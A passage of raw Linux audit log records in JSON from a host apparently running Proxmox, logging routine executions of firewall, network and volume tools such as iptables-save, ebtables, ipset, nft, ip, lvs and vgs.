cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506041,"@rawstring":"node=pve type=PATH msg=audit(1781964506.041:61317): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506035,"@rawstring":"node=pve type=PATH msg=audit(1781964506.035:61316): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506035,"@rawstring":"node=pve type=PATH msg=audit(1781964506.035:61316): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506029,"@rawstring":"node=pve type=PATH msg=audit(1781964506.029:61315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506029,"@rawstring":"node=pve type=PATH msg=audit(1781964506.029:61315): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506023,"@rawstring":"node=pve type=PATH msg=audit(1781964506.023:61314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506023,"@rawstring":"node=pve type=PATH msg=audit(1781964506.023:61314): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506018,"@rawstring":"node=pve type=PATH msg=audit(1781964506.018:61312): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506018,"@rawstring":"node=pve type=PATH msg=audit(1781964506.018:61312): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506014,"@rawstring":"node=pve type=PATH msg=audit(1781964506.014:61311): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506014,"@rawstring":"node=pve type=PATH msg=audit(1781964506.014:61311): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506009,"@rawstring":"node=pve type=PATH msg=audit(1781964506.009:61310): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506009,"@rawstring":"node=pve type=PATH msg=audit(1781964506.009:61310): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506004,"@rawstring":"node=pve type=PATH msg=audit(1781964506.004:61309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964506004,"@rawstring":"node=pve type=PATH msg=audit(1781964506.004:61309): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505999,"@rawstring":"node=pve type=PATH msg=audit(1781964505.999:61308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505999,"@rawstring":"node=pve type=PATH msg=audit(1781964505.999:61308): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505994,"@rawstring":"node=pve type=PATH msg=audit(1781964505.994:61307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505994,"@rawstring":"node=pve type=PATH msg=audit(1781964505.994:61307): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505988,"@rawstring":"node=pve type=PATH msg=audit(1781964505.988:61306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505988,"@rawstring":"node=pve type=PATH msg=audit(1781964505.988:61306): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505982,"@rawstring":"node=pve type=PATH msg=audit(1781964505.982:61305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505982,"@rawstring":"node=pve type=PATH msg=audit(1781964505.982:61305): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505978,"@rawstring":"node=pve type=PATH msg=audit(1781964505.978:61304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505978,"@rawstring":"node=pve type=PATH msg=audit(1781964505.978:61304): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505976,"@rawstring":"node=pve type=PATH msg=audit(1781964505.976:61303): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505976,"@rawstring":"node=pve type=PATH msg=audit(1781964505.976:61303): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=PATH msg=audit(1781964505.974:61302): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=PATH msg=audit(1781964505.974:61302): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=PATH msg=audit(1781964505.974:61301): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505971,"@rawstring":"node=pve type=PATH msg=audit(1781964505.971:61300): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505971,"@rawstring":"node=pve type=PATH msg=audit(1781964505.971:61300): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505971,"@rawstring":"node=pve type=PATH msg=audit(1781964505.971:61300): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505964,"@rawstring":"node=pve type=PATH msg=audit(1781964505.964:61299): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505964,"@rawstring":"node=pve type=PATH msg=audit(1781964505.964:61299): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505958,"@rawstring":"node=pve type=PATH msg=audit(1781964505.958:61298): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505958,"@rawstring":"node=pve type=PATH msg=audit(1781964505.958:61298): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505954,"@rawstring":"node=pve type=PATH msg=audit(1781964505.954:61297): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505954,"@rawstring":"node=pve type=PATH msg=audit(1781964505.954:61297): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505948,"@rawstring":"node=pve type=PATH msg=audit(1781964505.948:61296): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505948,"@rawstring":"node=pve type=PATH msg=audit(1781964505.948:61296): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505942,"@rawstring":"node=pve type=PATH msg=audit(1781964505.942:61295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964505942,"@rawstring":"node=pve type=PATH msg=audit(1781964505.942:61295): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504924,"@rawstring":"node=pve type=PATH msg=audit(1781964504.924:61294): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504924,"@rawstring":"node=pve type=PATH msg=audit(1781964504.924:61294): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504899,"@rawstring":"node=pve type=PATH msg=audit(1781964504.899:61293): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504899,"@rawstring":"node=pve type=PATH msg=audit(1781964504.899:61293): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=PATH msg=audit(1781964504.622:61292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=PATH msg=audit(1781964504.622:61292): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=PATH msg=audit(1781964504.622:61291): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=PATH msg=audit(1781964504.622:61290): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=PATH msg=audit(1781964504.614:61289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=PATH msg=audit(1781964504.614:61289): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=PATH msg=audit(1781964504.614:61288): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=PATH msg=audit(1781964504.614:61287): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=PATH msg=audit(1781964499.608:61286): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=PATH msg=audit(1781964499.608:61286): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=PATH msg=audit(1781964499.608:61285): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=PATH msg=audit(1781964499.608:61284): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=PATH msg=audit(1781964499.599:61283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=PATH msg=audit(1781964499.599:61283): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=PATH msg=audit(1781964499.599:61282): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=PATH msg=audit(1781964499.599:61281): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495931,"@rawstring":"node=pve type=PATH msg=audit(1781964495.931:61280): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495931,"@rawstring":"node=pve type=PATH msg=audit(1781964495.931:61280): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495927,"@rawstring":"node=pve type=PATH msg=audit(1781964495.927:61279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495927,"@rawstring":"node=pve type=PATH msg=audit(1781964495.927:61279): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495926,"@rawstring":"node=pve type=PATH msg=audit(1781964495.926:61278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495926,"@rawstring":"node=pve type=PATH msg=audit(1781964495.926:61278): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495926,"@rawstring":"node=pve type=PATH msg=audit(1781964495.926:61277): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495923,"@rawstring":"node=pve type=PATH msg=audit(1781964495.923:61276): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495923,"@rawstring":"node=pve type=PATH msg=audit(1781964495.923:61276): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495923,"@rawstring":"node=pve type=PATH msg=audit(1781964495.923:61276): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495917,"@rawstring":"node=pve type=PATH msg=audit(1781964495.917:61275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495917,"@rawstring":"node=pve type=PATH msg=audit(1781964495.917:61275): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495911,"@rawstring":"node=pve type=PATH msg=audit(1781964495.911:61274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495911,"@rawstring":"node=pve type=PATH msg=audit(1781964495.911:61274): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495904,"@rawstring":"node=pve type=PATH msg=audit(1781964495.904:61273): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495904,"@rawstring":"node=pve type=PATH msg=audit(1781964495.904:61273): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495897,"@rawstring":"node=pve type=PATH msg=audit(1781964495.897:61272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495897,"@rawstring":"node=pve type=PATH msg=audit(1781964495.897:61272): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495892,"@rawstring":"node=pve type=PATH msg=audit(1781964495.892:61270): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495892,"@rawstring":"node=pve type=PATH msg=audit(1781964495.892:61270): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495888,"@rawstring":"node=pve type=PATH msg=audit(1781964495.888:61269): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495888,"@rawstring":"node=pve type=PATH msg=audit(1781964495.888:61269): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495882,"@rawstring":"node=pve type=PATH msg=audit(1781964495.882:61268): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495882,"@rawstring":"node=pve type=PATH msg=audit(1781964495.882:61268): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495877,"@rawstring":"node=pve type=PATH msg=audit(1781964495.877:61267): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495877,"@rawstring":"node=pve type=PATH msg=audit(1781964495.877:61267): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495872,"@rawstring":"node=pve type=PATH msg=audit(1781964495.872:61266): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495872,"@rawstring":"node=pve type=PATH msg=audit(1781964495.872:61266): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495867,"@rawstring":"node=pve type=PATH msg=audit(1781964495.867:61265): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495867,"@rawstring":"node=pve type=PATH msg=audit(1781964495.867:61265): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495860,"@rawstring":"node=pve type=PATH msg=audit(1781964495.860:61264): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495860,"@rawstring":"node=pve type=PATH msg=audit(1781964495.860:61264): item=0 